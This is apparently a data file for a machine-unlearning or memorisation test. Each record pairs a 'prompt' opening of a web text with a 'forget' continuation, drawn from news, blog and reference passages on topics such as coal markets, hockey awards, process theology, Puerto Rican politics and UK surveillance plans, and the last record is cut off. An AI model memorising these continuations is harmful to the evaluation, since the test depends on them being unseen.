{"prompt": "In this July 6, 2012 photo, excavation continues at the Erdenes Tavan Tolgoi coal mining facility in southern Mongolia. Fully 90 percent of Mongolia's exports - coal, copper, cashmere and livestock - go to China, which in turn sends machinery, appliances and other consumer goods that account for a third of Mongolian imports. The rising trade with China now amounts to three-fourths of Mongolia's economy, one of the highest ratios in the world, according to an Associated Press analysis of IMF trade data. (AP Photo/Andy Wong) * China, India to propel coal past oil by end of decade * Muted", "forget": "impact from carbon policies aimed at curbing coal use * China to drive two-thirds of coal growth this decade (Adds comments from Alstom on Asia power market, coal supply and prices; provides graphic link) By Florence Tan DAEGU, South Korea, Oct 14 (Reuters) - Coal will surpass oil as the key fuel for the global economy by 2020 despite government efforts to reduce carbon emissions, energy consultancy firm Wood Mackenzie said on Monday. Rising demand in China and India will push coal past oil as the two Asian powerhouses will need to rely on the comparatively cheaper fuel to power their economies. Coal demand in the United States, Europe and the rest of Asia will hold steady. Global coal consumption is expected to rise by 25 percent by the end of the decade to 4,500 million tonnes of oil equivalent, overtaking oil at 4,400 million tonnes, according to Woodmac in a presentation on Monday at the World Energy Congress. \"China's demand for coal will almost single-handedly propel the growth of coal as the dominant global fuel,\" said William Durbin, president of global markets at Woodmac. \"Unlike alternatives, it is plentiful and affordable.\" China - already the top consumer - will drive two-thirds of the growth in global coal use this decade. Half of China's power generation capacity to be built between 2012 and 2020 will be coal-fired, said Woodmac. China has no alternative to coal, with its domestic gas output limited and liquefied natural gas (LNG) imports more costly than coal, Durbin said. \"Renewables cannot provide base load power. This leaves coal as the primary energy source,\" he said. ASIA TO FOCUS ON LOW-COST COAL Power infrastructure provider Alstom estimated that across Asia close to half of the 600 gigawatt of new power generators to be built over the next"}
{"prompt": "SPRINGFIELD, Mass. - The American Hockey League announced today that Jake Allen of the Chicago Wolves has been voted the winner of the Aldege \u201cBaz\u201d Bastien Memorial Award as the AHL\u2019s outstanding goaltender for the 2013-14 season. The award is voted on by coaches, players and members of the media in each of the league\u2019s 30 cities. Entering the final weekend of the regular season, Allen has a record of 32-16-3 in 51 appearances for the Wolves, helping them to a berth in the upcoming Calder Cup Playoffs. Allen ranks first in the AHL in victories, goals-against average (2.07) and", "forget": "save percentage (.927) as he bids to become just the second goaltender since 1984-85 to lead the league in all three categories. Allen is also pacing all goalies in minutes played (3,078) and is tied for first with six shutouts on the season, while ranking second in both shots faced (1,447) and saves (1,341). A 23-year-old native of Fredericton, N.B., Allen represented the Wolves at the 2014 AHL All-Star Classic in St. John\u2019s in February, and was named a First Team AHL All-Star last week. Selected by St. Louis in the second round (34th overall) of the 2008 NHL Entry Draft, Allen was named to the NHL All-Rookie Team last season after a successful 15-game stint with the Blues. Allen has played 171 career AHL games with Chicago and Peoria over his four pro seasons, compiling a record of 83-74-10 with a 2.55 GAA, a .917 save percentage and 15 shutouts. The Aldege \u201cBaz\u201d Bastien Memorial Award, which was first presented in 1984, honors former Pittsburgh Penguins general manager Baz Bastien, who played four seasons in goal with the AHL\u2019s Pittsburgh Hornets (1945-49) before suffering a career-ending eye injury. Bastien would go on to serve as head coach and general manager of the Hornets, leading them to the 1967 Calder Cup championship. Previous winners of the award include Jon Casey (1985), Sam St. Laurent (1986), Mark Laforest (1987, 1991), Felix Potvin (1992), Corey Hirsch (1993), Manny Legace (1996), Martin Biron (1999), Dwayne Roloson (2001), Jason LaBarbera (2004, 2007), Ryan Miller (2005), Dany Sabourin (2006), Michael Leighton (2008), Cory Schneider (2009), Jonathan Bernier (2010), Brad Thiessen (2011), Yann Danis (2012) and Niklas Svedberg (2013). In operation since 1936, the American Hockey League continues to serve as the top development league for all 30 National Hockey League teams. Nearly 90 percent of"}
{"prompt": "Who is God? What is the nature of God? How do you understand God? Is God the great decider, who determines every aspect of your life? Or is God the one who walks with us through life, guiding us, consoling us, and empowering us? Bruce Epperly brings his second essay on Process Theology to this blog. In sharing these essays, I'm not endorsing Process thought, because I'm still working through it and probably am closer to Open Theism than Process at this moment. That said, I'm looking forward to reading these essays and Bruce's new full-length treatment of Process Theology", "forget": "because I think it has promise for the present day theological questions, but unfortunately many works on Process are so philosophically dense they're difficult to understand. So, I invite you to consider Bruce's vision of the liberating God of Process Theology -- even if you don't even know who Alfred North Whitehead is! Liberating Process #2: Liberating God- An Open System Bruce Epperly For the next few weeks, we will be reflecting on process theology\u2019s understanding of God. For many people, God\u2019s perfection is defined in terms of changelessness. God is utterly complete. God knows the past, present, and future in one all-encompassing eternal now. Since God is always active rather than passive, God\u2019s awareness of the world is creative in nature. Accordingly, the God who knows the future also creates the future. In the spirit of Rick Warren, all of the important events of our lives \u2013 from DNA, family of origin, and critical events, both positive and negative \u2013 have been determined by God without our input. For many people, this image of perfection is good news. They define perfection in terms of changelessness and independence. An unchanging God, who knows and determines the future, is the ultimate source of security, even if that security is bought at the price of a god who causes cancer, car accidents, childhood trauma, and planetary cataclysm. But, a God who determines everything is morally ambiguous, at least from our standpoint. Whatever God does is good, from this standpoint, even if God\u2019s action involves malignancy and catastrophe. While some suggest that we can never judge God, surely this image of God as all-determining fails the test of good parenting, established by Jesus. It is difficult to say that a god who causes childhood cancer represents any type of positive parenting, even if"}
{"prompt": "\u201cThe thing is we don\u2019t have a leader in any of the parties. There is not anybody who we can look up to,\u201d said Milton Cofresi Jr., a retired stockbroker. So despite the urgency to revamp an economy, which has been contracting for nearly a decade, and resolve the island\u2019s crushing $72 billion public debt, voters don\u2019t see either side offering solutions. Also unlike the mainland, where Democrats and Republicans vie for voter support, Puerto Rico is divided among the Popular Democratic Party (PDP, or reds, which supports commonwealth status and resembles the Democratic Party, despite the color association), the", "forget": "New Progressive Party (NPP, statehooders or blues, which tends to align with the Republican Party) and the Puerto Rican Independence Party (or greens, which received less than 6 percent of the vote in the last elections). In other words, the question of political status defines Puerto Rico\u2019s political parties. Puerto Rico has remarkably high voter turnout \u2014 much higher than on the mainland \u2014 even more exceptional, given that its residents cannot vote for president. In 2012, 78 percent of eligible voters in Puerto Rico turned out on Election Day, compared with 58 percent in the U.S. mainland. \u201cYou can\u2019t promise statehood to a country the United States has turned around and disregarded,\u201d she added. \u201cI think it\u2019s going to polarize the island,\u201d TV producer, blogger and dating coach Tirzha Alcaide said of the economic crisis. \u201cIf the pro-statehood bunch don\u2019t see the United States give us a hand to help us dig out of this hole, they may shift [toward pro-independence].\u201d However, the only debate that is certain to be sharpened is the 100-year-old one over political status. There is no shortage of policy items for candidates to tackle: How to create jobs and spur growth in an economy in which unemployment is close to 13 percent and only 40 percent of adults participate in the labor market. What\u2019s on and what\u2019s off the table when it comes to the recent government-commissioned report that recommends eliminating the minimum wage, bringing worker benefits in line with the U.S. mainland and reducing subsidies for the University of Puerto Rico, among other austerity measures. How to stave off a looming health care crisis , stem massive outmigration , fix inefficient public utilities and trim a bloated government bureaucracy. Specifically, how they think the island\u2019s $72 billion debt crisis \u2014 exacerbated on Monday"}
{"prompt": "Sprouts Explained Article by Jennifer Piggott and Jo Scholten The game This article invites you to get familiar with a strategic game called \"sprouts\" which appears here on the NRICH site. The game is simple enough for younger children to understand, and has also provided experienced mathematicians with significant food for thought. After a description of the basic game, this article will suggest a few ways to explore it. The game of Sprouts was invented in 1967 by two mathematicians John H. Conway and Michael S. Paterson, when they were both at the University of Cambridge in the UK. The", "forget": "game was popularised by one of Martin Gardner's \"Mathematical Games\" columns in Scientific American. Here is a quote from Conway: \"The day after sprouts sprouted, it seemed that everyone was playing it, at coffee or tea times, there were little groups of people peering over ridiculous to fantastic sprout positions.\" Sprouts is a game for two players. All you really need is paper and a pencil.. The game starts by drawing any number of spots. In this example we are going to look at 3 spots. The first player has a turn by joining two of the spots and marking a new spot in the middle of the line. Or the line may start and end on the same spot. Rules: You are not allowed to draw a line which crosses another line. This is important to remember! A spot cannot have more than three lines leading to or from it. For example, in the game below, spots A and B cannot be used any more because they already have three lines. The idea is to make it impossible for the other player to draw a line. So the last person to draw a line is the winner. Over to you! Find a friend to play the game with. We suggest that you limit the number of spots to 3. Try playing several games to get the hang of it. Here are a few questions to focus your mind, but don?t try to answer them until you have played the game a few times, and feel confident with the rules. Does the person who goes first or second tend to win? Can you explain any winning tactics? The game must end after a limited number of moves. Explain why. (Hint: you might find it useful to explain this in terms"}
{"prompt": "Air Commodore Joseph Aidan MacCarthy, OBE, GM (1914 \u2013 11 October 1995) was an Irish doctor of the Royal Air Force and a prisoner of war to the Japanese during the Second World War. Early life [ edit ] MacCarthy was born in 1914 in the town of Castletownbere, Beara Peninsula County Cork, Ireland. His parents owned land and businesses in the area. He attended Clongowes Wood School and University College Cork. He graduated with a medical degree in 1938. Lacking family connections, he was unable to obtain employment as a doctor in Ireland so he moved to the United", "forget": "Kingdom, working first in Wales, then in London. There, he met two former classmates from his medical school and, after a night of drinking with them, decided to join the British armed forces as a medical officer. Which service (the Royal Navy or the Royal Air Force) was decided for him by a coin toss made by a nightclub hostess in the early hours of the morning.[1] RAF career [ edit ] In 1940, he was posted to France and was evacuated from Dunkirk where he attended wounded Allied soldiers while under fire from German aircraft. In September 1940, he was promoted to flight lieutenant.[2] The following year he was awarded the George Medal for his part in the rescue of the crew of a crashed and burning Wellington bomber at RAF Honington.[3] The aircraft had crash landed after its undercarriage had failed to lower and it came to rest on the airfields bomb dump, where it caught fire. Together with Group Captain John Astley Gray, MacCarthy entered the burning wreck and rescued two crewmen, but were unable to save the pilot.[1] Gray was badly burned during the rescue; MacCarthy was also burned, but less seriously.[3] Posted to the Far East in 1941, MacCarthy was captured by the Japanese in Sumatra. The prison ship transporting Allied prisoners to Japan was sunk by a US submarine. MacCarthy had to do the best he could for his patients whilst splashing around in the South China Sea. After being initial rescued by a Japanese Destroyer the crew then started to throw rescued prisoners overboard and the remaining prisoners on the destroyer jumped back into the ocean and clambered back on the wreckage. A Japanese fishing boat pulled him out of the ocean and transported him to Japan. There, he cared for Allied prisoners"}
{"prompt": "Bowl appears to be a promotional item for ousted former prime ministers and political enemies of the junta A Thai woman could be jailed for seven years on charges of sedition after she posted a photo of herself holding a red bowl that had a Thai New Year greeting from siblings and ousted prime ministers Thaksin and Yingluck Shinawatra. Police ordered Theerawan Charoensuk, 57 and from Chiang Mai in Thailand\u2019s north, to report to a military court on Tuesday to hear a charge for the photos she posted on Facebook, human rights lawyer Anond Nampa told the local Khaosod news", "forget": "website. Top Thai Buddhist monk investigated over vintage Mercedes-Benz Read more Thai New Year, or the Songkran festival, is celebrated every April with major road closures as giant water fights take over the streets. The bowl in the photo, in which Theerawan gives a thumbs up, appears to be a water scoop used during the festival. Thaksin was ousted in a 2006 coup and his sister, Yingluck, was also removed by the military in 2014. Vitriol between Shinawatra supporters, or red shirts, and the army generals in power, or yellow shirts, has dominated Thai politics for years and at times led to bloodshed in the streets. That the plastic bowl\u2014 which appears to be a promotional item used by supporters of the Shinawatras \u2014 is red is significant in Thailand\u2019s colour-coded politics. Another photo posted by the woman shows her holding a 2010 calendar with the Shinawatras on it. The full message on the bowl is not visible in the photo. Local media said it was signed by Thaksin. Thaksin has been in self-imposed exile since 2008 to avoid being jailed for corruption on charges he denies. Yingluck is also facing charges that she ignored corruption surrounding a multibillion-dollar rice farming subsidy, although she too denies any wrongdoing. Junta leader Prayuth Chan-ocha said on Tuesday that Theerawan had threatened national security. \u201cYou have to see: the photo is about a man who broke the law,\u201d Prayuth said, referring to Thaksin, who still has a strong support base in the north among the rural poor. \u201cIsn\u2019t support for a person who broke the laws and ran away from the criminal case a wrong thing to do?\u201d Deputy prime minister, General Prawit Wongsuwan, also defended the charges: \u201cTell me if you think what she did was not provocative or led to division"}
{"prompt": "Abbas Momani / AFP / Getty Palestinian Authority President Mahmoud Abbas heads a meeting of Fatah's executive committee in the West Bank city of Ramallah \"It's time for you to find another donkey.\" With those words, according to Palestinian sources, Palestinian Authority (PA) President Mahmoud Abbas told the Palestine Liberation Organziation (PLO) executive committee that he would not seek re-election in January. The 74-year-old leader, on whom U.S. peace efforts in the Middle East are heavily dependent, reiterated that message later on Thursday in a televised address from his home in Ramallah. \"This decision does not at all amount to", "forget": "bargaining or political maneuvering. While I appreciate the views expressed by brothers [in the PLO, who rejected his move], I hope they will understand my wish.\" (See pictures of heartbreak in the Middle East.) The prime audience for Abbas' statement, of course, was not the PLO leadership but the Obama Administration. According to Palestinian sources who attended the meeting, Abbas told his PLO comrades that the U.S. had \"cheated\" him by retreating from its insistence that Israel end settlement construction in the West Bank and East Jerusalem. \"We welcomed it, and were optimistic when President Obama announced the need for a complete halt to settlements, including natural growth,\" Abbas said. \"We were surprised by his support for the Israeli position.\" (The U.S. has backed Israel's argument that negotiations should resume despite the disagreement over the settlements. Last weekend U.S. Secretary of State Hillary Clinton drew howls of protest across the region when she praised as \"unprecedented\" Israeli Prime Minister Benjamin Netanyahu's offer to only slow settlement activity, but not in Jerusalem.) Abbas had been under pressure from the U.S. to open unconditional talks with the Israelis, but mindful of his deteriorating popularity at home, the leadership of his Fatah party had ruled out negotiations until Israel demonstrated its bona fides by halting settlement activity. Livid over what he sees as Obama backsliding, Abbas is drawing on the only leverage available to him by threatening to walk away. The aging moderate's departure from the scene would certainly deal a body blow to the Administration's peace efforts because there's no obvious replacement who would represent continuity with his outlook. If Abbas were to resign, a strong contender for the Fatah nomination would be Marwan Barghouti, the movement's most popular leader, currently in an Israeli prison on a terrorism conviction (and who might"}
{"prompt": "\u201cI want you to think about that,\u201d Mr. Bush said. \u201cIf you\u2019re making up to $83,000 in certain states, you\u2019re eligible for the program, and yet half a million poor children aren\u2019t being helped.\u201d The New York State Legislature this year passed a bill that would have covered children in families with incomes up to 400 percent of the poverty level, or $82,600 for a family of four. The Bush administration rejected New York\u2019s proposal last month, arguing that it would have allowed the substitution of public coverage for private insurance. And despite the president\u2019s statement that \u201ccertain states\u201d make", "forget": "children in families with $83,000 incomes eligible, New York is the only state that has expressed a desire to raise its income limit above $80,000. Mr. Bush has offered a plan to spend $5 billion more on S-chip over the next five years, versus the $35 billion in the next half-decade provided in the bill just approved by Congress. The bill that cleared Congress would add about four million children to the roughly six million already covered. The issue has divided Republicans like few others, with several prominent lawmakers who are normally loyal to the White House opposing Mr. Bush on this issue. The bill was approved in the Senate by 67 to 29, with support from 18 Republicans \u2014 just enough to guarantee that a veto can be overridden. But the House margin of 265 to 159 is about two dozen short of the two-thirds needed to defeat Mr. Bush\u2019s veto. Democrats have been trying to pressure some Republicans loyal to the president to switch sides. But if the House sustains his veto, Mr. Bush said, he hopes there will be negotiations to get S-chip money to those it \u201cwas intended to help first and foremost.\u201d Meanwhile, the issue continues to pit some otherwise loyal Republicans against the Bush administration. Today, for instance, Senators Charles E. Grassley of Iowa and Pat Roberts of Kansas complained in a letter to Health and Human Services Secretary Michael O. Leavitt that the administration was \u201cflatly incorrect\u201d in asserting that the S-chip bill would render the federal government powerless to deny coverage to families in the $83,000 range. And on Tuesday, Senator Orrin G. Hatch, a prominent Republican from Utah, is to appear with Senator Harry Reid of Nevada, the Democratic majority leader, and Speaker Nancy Pelosi, Democrat of California, to call for"}
{"prompt": "Written by Stephanie Siam When I reverted to Islam in March 2005, I have to admit I was afraid. Okay, perhaps nervous is a better choice of word, as I wasn\u2019t scared or frightened. And I know I\u2019m not alone in admitting this feeling, especially with female converts. The process of transitioning into Islam from a previous faith/belief system (because face it, even if you don\u2019t believe in God, you believe there is no God) is daunting: What will my friends think? How will I be received by the public? Does this mean I have to start dressing like an", "forget": "Arab or East Asian-er? Do I have to start my life over from the beginning, rethinking every choice I\u2019ve ever made? While all of those are valid concerns, and ones that I did contemplate at some point in time post-reversion, they weren\u2019t what I was afraid of. My fear came from telling my father. Not my family. Not my Mother. My Father. Now, before you start thinking my dad is this overbearing and close-minded totalitarian who lives for controlling others\u2019 lives, he\u2019s NOT. In fact, he\u2019s the polar opposite. He\u2019s one of the most open-minded individuals I\u2019ve ever known in my life. And if there is a perfect antonym for overbearing, that describes him, too. I mean, for Heaven\u2019s sake, the man used to sit and logically discuss with me the reasons I should pick up my toys when I was 3 years old. If there\u2019s anything my dad is not, it\u2019s overbearing and close-minded. So, why was I scared of telling my dad I had become Muslim? My father has a strong head on his shoulders (don\u2019t confuse strong with stubborn). His choice of worship was not made based on how he was brought up (Nazarene). He didn\u2019t look to his parents to tell him how he should worship God or practice his religion (Christianity). Instead, he went to a Christian college, studied the history and lineage of the Bible and Christianity, and majored in Bible Studies. His goal: to become a preacher. When he became a member of the Church of Christ denomination, he did so knowing full-well that it represented the beliefs he personally held based on his extensive studying. To him, it was correct. Now there I was, his 23-year-old daughter, midway through my graduate school program, and I\u2019d converted to Islam. And I had to"}
{"prompt": "Sony\u2019s \u201cBack up & restore\u201d app gets hacked [Update] Sony has a potentially serious issue on their hands as its \u201cBack up & restore\u201d app appears to have been hacked. Looking at the Play Store \u2018My apps\u2019 section on our Xperia Z3 reveals that the app is now managed by the \u201cHeArT HaCkEr Group.\u201d As a system app, there is no way to delete the app either, so given the permissions this particular app has (see below) it is a serious issue. We\u2019re not sure how the app has been hacked. Potentially, Sony Mobile\u2019s Play Store account may be compromised,", "forget": "where the hacker has replaced the original app. However, we\u2019ll wait to hear from Sony directly. The Google Play Store listing for this new hacked version can be found here (PLEASE DO NOT INSTALL). At this stage, we can\u2019t say whether this app is doing anything harmful, but we\u2019ve contacted Sony and will let you know their response. In the meantime, check your phone to see if you are affected and we will post updates in this post. Update: Sony has a quick update on its support forums: \u201cSony Mobile takes the security and privacy of customer data very seriously. We are currently investigating these reports. More information will follow as soon as we have fully assessed the situation.\u201c Update 2: The app in question has been removed from the Google Play Store. Also it is no longer present in \u201cMy apps\u201d within the Play Store app. We still await for the \u2018all clear\u2019 from Sony and an explanation on how this happened in the first place. Update 3: Sony has released a statement explaining what has happened in this situation and that ultimately there was no risk to users: \u201cIt appears that an unauthorised 3rd party developer created an application using the same name and identifier as our \u201cBackup & Restore\u201d service, and uploaded it to Google Play. As the app mirrored our \u2018Backup & Restore\u2019 service naming structure, it appeared as downloaded on some products within Google Play\u2019s \u201cMy Apps\u201d, when in fact it wasn\u2019t actually installed. We don\u2019t provide \u2018Backup & Restore\u2019 on Google Play \u2013 it is pre-installed on Xperia devices, with all version and maintenance updates handled directly through our Update Centre. This application posed no risk to users, but has since been removed from Google Play.\u201c Permissions of hacked \u201cBack up & restore\u201d app"}
{"prompt": "Media playback is unsupported on your device Media caption Cindy Sui speaks to Taiwanese students holding a rally to demonstrate their support for the protests in Hong Kong In January, 13 groups from Hong Kong and Taiwan gathered in Taipei for a weekend conference. The meeting attracted little attention, but it marked the first time democracy advocates, including representatives from Hong Kong's political parties and students from both sides, had met in an organised fashion. Despite their proximity, the two sides previously worked little together. Taiwan has enjoyed full universal suffrage since 1996; but a year later, Hong Kong returned", "forget": "to Chinese rule. It seemed they had different fates. Growing worries about Beijing have drawn the two sides closer, however, culminating in mutual support for the Occupy Central movement in Hong Kong and an Occupy Parliament movement in Taipei earlier this year. \"Taiwan's democracy and Hong Kong's democracy have the same threat - the Beijing government,\" said Lai Chung-chiang, a Taipei-based lawyer and long-time activist. Image copyright AFP Image caption Students present John Leung, director of Hong Kong Trade Office in Taipei, with a protest letter on 29 Sep Now the two sides feel they share similar goals and they are working together more closely, something that will surely worry Beijing. Hong Kong supported us and now we're supporting them Karen Cheng, Taiwanese activist After all, Taiwan could be seen as a bad influence - it's had decades, and some would say more than a century, of experience fighting for democracy. Some of its people are deeply anti-China and want independence, and its protesters have been bolder and more defiant than Hong Kong's. Many believe the success of Taiwan's movement greatly encouraged Hong Kong activists. Two months after the January meeting, Taiwanese students occupied parliament for 24 days and didn't leave until the legislature agreed to pass a law allowing stringent public supervision of agreements signed with China. \"Because Taiwan's occupy movement was successful, Hong Kong people felt it was also possible for them,\" said Mr Lai. Many Hong Kong students came here then to learn, including how to disseminate information online in timely manner and co-ordinate supplies and donations. Image copyright Getty Images Image caption Student activists organised a protest at the Hong Kong office in Taipei on Monday 'Support each other' In recent days, Taiwanese activists have flown to Hong Kong to lend support. One of them, Karen"}
{"prompt": "Needles District of Canyonlands National Park, with continuous biocrust in the foreground. (Courtesy Bill Bowman, University of Colorado.) Virtually every ecosystem of the world \u2014 from forests to the oceans \u2014 raises concern about the toll that a warming climate will take. There\u2019s one type of landscape, though, that doesn\u2019t get talked about very much in this context \u2014 so-called \u201cdrylands,\u201d a grouping that includes arid and semi-arid regions ranging from many deserts to grasslands. Drylands are one of the more important ecosystems in the world, comprising fully 40 percent of the Earth\u2019s land surface. And now, an alarming new", "forget": "study in the Proceedings of the National Academy of Sciences says the impact of a warming climate on these ecosystems could be much worse than expected \u2014 comparable to humans trampling the landscapes underfoot or driving off-road vehicles across them. \u201cContrary to our expectations, experimental climate change and physical disturbance had strikingly similar impacts,\u201d wrote the researchers, led by Scott Ferrenberg of the U.S. Geological Survey\u2019s Southwest Biological Science Center in Moab, Utah. Ferrenberg conducted the work with two Geological Survey colleagues. Ferrenberg and his colleagues ran a long term experiment at Utah\u2019s Upper Colorado Plateau, a \u201ccool desert\u201d region that receives less than 10 inches of rain per year. Here, the ground is covered by a complex group of organisms collectively called \u201cbiocrust\u201d \u2014 a combination of mosses and lichens that are in effect glued together by photosynthetic microorganisms called cyanobacteria, which provide structure to the landscape through the carbohydrate molecules they secrete. This structure, in turn, allows the more complex organisms like mosses and lichens to grow \u2014 and when it\u2019s all assembled, the biocrust then holds the soil in place and prevents dust storms and erosion. \u201cThings would blow away without biocrust,\u201d says Ferrenberg. \u201cThere\u2019s sort of this expression the crust community uses: \u2018Got dust? You need crust,\u2019\u201d he continues. \u201cIt\u2019s sort of a nerd joke in this community.\u201d At the same time, the growth of mosses and lichen, supported by the cyanobacteria, allows these landscapes to store a considerable amount of carbon which might otherwise wind up in the atmosphere. Overall, drylands store 25 percent of the carbon found in the planet\u2019s soils. A desert landscape like the Upper Colorado Plateau, however, is highly vulnerable to destruction if humans or livestock tread across it or especially if vehicles tear it up. And if that happens enough,"}
{"prompt": "WASHINGTON (Reuters) - Ten months after the botched rollout of HealthCare.gov, Obamacare\u2019s federal health insurance exchange is still dogged by cost overruns and technology delays that could hamper enrollment when it resumes in November, a U.S. watchdog said. The total cost of HealthCare.gov and its supporting systems hit $840 million in March, according to a forthcoming report by the nonpartisan Government Accountability Office (GAO). Excerpts of the report were released on Wednesday by a U.S. House of Representatives oversight committee. Part of the cost stems from the federal government\u2019s work with Accenture Plc, the lead contractor for the HealthCare.gov website.", "forget": "The value of that contract soared more than 92 percent in less than six months, from $91 million in January to more than $175 million by early June, a GAO investigation found. The GAO report blamed cost increases on lax oversight, the complexity of the system and the need to rework technology. Multiple failures caused HealthCare.gov to crash during its Oct. 1 debut, hampering early enrollment for benefits under President Barack Obama\u2019s healthcare law and prompting a congressional investigation. The administration spent weeks repairing the site, helping more than 5 million people use it to sign up for coverage in 2014. It has since changed many of the contractors that worked on the initial website. The overall cost of developing the federal marketplace, which helps consumers in 36 states sign up for subsidized private health insurance, nearly quadrupled to $209 million by last February from $56 million in September 2011, GAO said. The cost of developing a related federal data hub jumped from $30 million to $85 million. Meanwhile, large segments of the marketplace system still remain unbuilt, including a financial management system to automate payments of federal subsidies to health insurers that is due to be completed in December. A senior official with the Centers for Medicare and Medicaid Services, part of the Department of Health and Human Services and the government\u2019s lead agency on Obamacare implementation, said it has taken steps to tighten contractor oversight. But the GAO said inconsistent oversight had led CMS officials to inappropriately authorize more than $30 million in contractor spending. The GAO report is not due to be released until early Thursday, ahead of a House Energy and Commerce subcommittee hearing on implementation of Obama\u2019s Affordable Care Act. GAO acquisition and sourcing management director William Woods is scheduled to testify. Enrollment for 2015"}
{"prompt": "I\u2019ve recommended it to many people over the years, mostly elders who hadn\u2019t considered the internet being that useful, and usually they\u2019re like, \u201caw? A website? No thanks, it\u2019s not necessary\u201d. Which is fine even if internally I was like \u201cplsssss no it\u2019s so good\u201d. A lot of gen-z are getting into fiber crafting and that is exciting. So, here\u2019s a little intro This is the homepage, after making an account Up on the top right is your notebook, which you\u2019ll probably visit the most because it contains all of the tools for organizing your projects. That\u2019s your notebook, on", "forget": "the left bar are your various tools. Projects are lined up neatly on the rest of the screen. There\u2019s a Handspun tab for spinners, Stash is where you organize your yarns, uQeue is where you list upcoming projects, Favorites is where you can save and organize your favorite projects/patterns, Needles & Hooks gives you a chart that you can fill in with what you already own, Library is a digital library of patterns and even representations of the physical books that you own. Each of these can be customized, for example in favorites in there is a place to bundle them, so that if you wanted to say make a bundle of everything you want to knit as Christmas presents throughout the year, you can do that. In Queue you can link the called for yarn and the yarn you are going to use, linked from stash or otherwise, you can make notes on each entry. I will often note whether I need needles and what kind, so that if I drop by the store, the info I need is just a couple of clicks away. There is even a place in the stash to note where you got your yarn and how much it cost. I\u2019m not going much more deeper into that, but if ya\u2019ll want me to do a post about specific tools let me know. The most attractive part of Ravelry for me is easily searchable database of patterns. If you click on the Patterns button at the top left of the homepage, it takes you here. I typically go straight to pattern browser & advanced search through the link under the search bar. The great part of this are the filters on the left. You can filter by category of clothing, if and how it\u2019s"}
{"prompt": "Scott Meslow is entertainment editor at TheWeek.com. Last year\u2019s White House Correspondents\u2019 Dinner began with a very special introduction from one of the few members of Congress most Americans could identify by sight: Francis Underwood, the ladder-climbing sociopath played by Kevin Spacey in Netflix\u2019s House of Cards. \u201cYou know my motto, Ed,\u201d said Spacey to Fox News\u2019s Ed Henry, then-president of the White House Correspondents\u2019 Association. \u201cYou scratch my back, I won\u2019t lacerate yours.\u201d A short video that played after Spacey spoke exemplified a rare bipartisan convergence to get something done. Alongside a number of other politicians and journalists, John", "forget": "McCain, Mike Bloomberg, Valerie Jarrett and Steny Hoyer were shown in conversation with Underwood, the Democratic congressman from South Carolina who, when we last left him at the conclusion of the series\u2019 first season, was the House majority whip. \u201cI may lie, cheat and intimidate to get what I want, but at least I get the job done,\u201d Underwood said at the video\u2019s end. \u201cSo I hope some of you were taking notes.\u201d Story Continued Below Right on cue, the room united in uproarious laughter. We\u2019ve seen something similar these past few days, ever since the second season debuted on Netflix on Friday. But the across-the-aisle affection for the nefarious\u2014even criminal\u2014exploits at the center of the show raise a question: Why has Washington, D.C., been so enthusiastic about the grim, cynical funhouse version of itself that appears in House of Cards? When it comes to anti-heroic dramas, this is more common than you\u2019d think. The advertising industry has eagerly embraced the womanizing, alcoholic Don Draper of Mad Men, and the city of Albuquerque, New Mexico\u2014the setting for Breaking Bad\u2014has turned the locations frequented by Walter White and his compatriots into a cottage tourist industry. It\u2019s true that Essex County, New Jersey took pains to distance itself from the mobsters of HBO\u2019s The Sopranos, but, oddly, nothing of the sort is happening in the image-conscious Capital. In fact, in an odd effort to align itself with the show\u2019s plotlines, the office of Rep. Louise Slaughter (D-N.Y.) actually sent out a press release on Wednesday touting the mention of an initiative similar to one that Slaughter had led (\u201cThe reference occurs at the 29:45 mark of the fifth episode, titled \u2018Chapter 17\u2019 of season two,\u201d the release helpfully points out). Shouldn\u2019t this surprise us? Why would a town so careful about presentation"}
{"prompt": "The plans of Obama and the Progressive elite to transform America by inhibiting suburban and ex-urban living and propping up urban utopias instead for the sake of \u201cAffirmatively Furthering Fair Housing\u201d has been previously commented on. However, the urban-obsessed Progressive elite have also been using the fear of immanent climate DOOM to pack people into little urban hovels while enjoying the spiffier urban hip hangouts, which is somehow familiar\u2026 Of course, this ecological DOOM is just an excuse, as urban density in the San Francisco Bay area has increased while people are driving\u2026 more: \u201cThe data also show that crowding", "forget": "people together isn\u2019t really effective at reducing greenhouse-gas emissions or addressing other urban concerns. Population densities in the San Francisco-Oakland-San Jose urban areas have already grown by nearly 60 percent since 1990, yet per-capita driving still has increased.\u201d Further: \u201cAdvocates argue that the demand for single-family homes is about to drop as retiring baby boomers and up-and-coming millennials will prefer to live in mixed-use neighborhoods with high densities and easy pedestrian access to stores and entertainment. \u201cThis claim isn\u2019t supported by people\u2019s actual behavior. The vast majority of population growth continues to be in low-density suburbs. Surveys of millennials show that more than three out of four aspire to live in a single-family home with a yard.\u201d The true \u201cwill of the people\u201d is to live in suburban environments where they own their own home and don\u2019t have to share walls with other people, this won\u2019t stop the elitists who want to ride their pristine picnic and nature grounds with slack-jawed yokels. Their plans continue regardless: \u201cCurrently, 56 percent of households in the nine-county Bay Area live in single-family homes. That number would drop to 48 percent by 2030, under a high-density development blueprint called Plan Bay Area, recently enacted by the Association of Bay Area Governments and the region\u2019s Metropolitan Transportation Commission. \u201c\u2026 \u201cEven if it\u2019s not without precedent, Plan Bay Area could still be revolutionary because of the rationale behind it. It could help spur a nationwide movement for high-density \u201ctransit-oriented\u201d development \u2014 in the name of reducing global warming. The federal government has signed on. The Obama administration has told metropolitan areas to include land-use regulations in the transportation plans that federal law requires them to update every five years. Washington is also giving communities \u201clivability grants\u201d aimed at promoting high-density development.\u201d Livability? This is no different"}
{"prompt": "Government plans to outsource official spying, forcing communication service providers like BT to retain personal communications data \u2013 records of all phonecalls, emails, texts and internet connections \u2013 have been severely criticised by the industry expected to do ministers dirty work for them. In a submission to the Home Office as part of a public consultation, internet firms have candidly labelled the plans as \"an unwarranted intrusion into people's privacy\" and have suggested people were deceived about the extent of the government's ambitions to monitor the country's communications data. According to the Sunday Times, the London Internet Exchange which represents", "forget": "330 firms including BT, Virgin, and Carphone Warehouse, says that the proposals are deceptive. \"We view the description of the government's proposals as 'maintaining' the capability as disingenuous: the volume of data the government now proposes [we] should collect and retain will be unprecedented, as is the overall intrusion into then privacy of the citizenry.\" This represents the unanimous view of the firms that are to replace the \u00a312bn data silo planned before the crisis in public finances. The new policy announced in April by the unlamented former home secretary, Jacqui Smith, was presented as a concession to those concerned about intrusion, as well as a response to the new reality of the economic situation. The revised scheme, which has been urged by \"Surveillance Central\" \u2013 GCHQ in Cheltenham \u2013 will cost \u00a32bn, still great chunk of taxpayers' money to be throwing around these 